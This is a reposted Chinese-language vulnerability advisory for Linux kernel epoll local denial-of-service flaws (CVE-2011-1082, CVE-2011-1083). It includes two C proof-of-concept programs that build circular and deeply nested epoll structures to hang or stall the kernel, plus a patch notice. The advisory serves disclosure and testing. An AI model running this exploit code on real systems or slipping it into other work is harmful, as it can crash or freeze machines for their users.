Linux Kernel epoll Subsystem “eventpoll.c”多个本地拒绝

发布日期:2011-03-02
更新日期:2012-02-22

受影响系统:
Linux kernel < 2.6.38
描述:
--------------------------------------------------------------------------------
BUGTRAQ  ID: 46630
CVE ID: CVE-2011-1082,CVE-2011-1083

Linux Kernel是Linux操作系统的内核。

Linux Kernel 2.6.38之前版本的fs/eventpoll.c在epoll子系统的实现上存在本地拒绝服务安全漏洞,将epoll文件描述符放置在其他epoll数据结构中,没有检查已关闭的循环或深链接,攻击者可利用此漏洞造成拒绝服务。

<*来源:Nelson Elhage (nelhage@mit.edu
 
  链接:
*>

测试方法:
--------------------------------------------------------------------------------

警 告

以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!

Nelson Elhage (nelhage@mit.edu)提供了如下测试方法:


#include <unistd.h>
#include <sys/epoll.h>
int main(void) {
     int e1, e2, p[2];
     struct epoll_event evt = {
         .events = EPOLLIN
     };
     e1 = epoll_create(1);
     e2 = epoll_create(2);
     pipe(p);

epoll_ctl(e2, EPOLL_CTL_ADD, e1, &evt);
     epoll_ctl(e1, EPOLL_CTL_ADD, p[0], &evt);
     write(p[1], p, sizeof p);
     epoll_ctl(e1, EPOLL_CTL_ADD, e2, &evt);

return 0;
}



#include <unistd.h>
#include <sys/epoll.h>
#include <sys/time.h>
#include <stdio.h>

#define SIZE 250

int main(void) {

int links[SIZE];
    int links2[SIZE];
    int links3[SIZE];
    int links4[SIZE];
    int i, j;
    int ret;
    int ep1, ep2;
    struct timeval start, end;

struct epoll_event evt = {
        .events = EPOLLIN
    };

ep1 = epoll_create(1);
    for (i = 0; i < SIZE; i++) {
        links[i] = epoll_create(1);
        ret = epoll_ctl(ep1, EPOLL_CTL_ADD, links[i], &evt);
        if (ret)
            perror("error 1");
    }
    for (i = 0; i < SIZE; i++) {
        links2[i] = epoll_create(1);
        for (j = 0; j < SIZE; j++) {
            epoll_ctl(links[j], EPOLL_CTL_ADD, links2[i], &evt);
            if (ret)
                perror("error 2");
        }
    }
    for (i = 0; i < SIZE; i++) {
        links3[i] = epoll_create(1);
        for (j = 0; j < SIZE; j++) {
            epoll_ctl(links2[j], EPOLL_CTL_ADD, links3[i], &evt);
            if (ret)
                perror("error 3");
        }
    }
    for (i = 0; i < SIZE; i++) {
        links4[i] = epoll_create(1);
        for (j = 0; j < SIZE; j++) {
            epoll_ctl(links3[j], EPOLL_CTL_ADD, links4[i], &evt);
            if (ret)
                perror("error 4");
        }
    }

ep2 = epoll_create(1);
    gettimeofday(&start, NULL);
    ret = epoll_ctl(ep2, EPOLL_CTL_ADD, ep1, &evt);
    /* creates a loop */
    //ret = epoll_ctl(links4[499], EPOLL_CTL_ADD, ep1, &evt);
    if (ret)
        perror("error 5");
    gettimeofday(&end, NULL);

printf("%ld\n", ((end.tv_sec * 1000000 + end.tv_usec)
        - (start.tv_sec * 1000000 + start.tv_usec)));

return 0;

}

建议:
--------------------------------------------------------------------------------
厂商补丁:

Linux
-----
目前厂商已经发布了升级补丁以修复这个安全问题,请到厂商的主页下载:

内容版权声明:除非注明,否则皆为本站原创文章。

转载注明出处:https://www.heiqu.com/wwdgys.html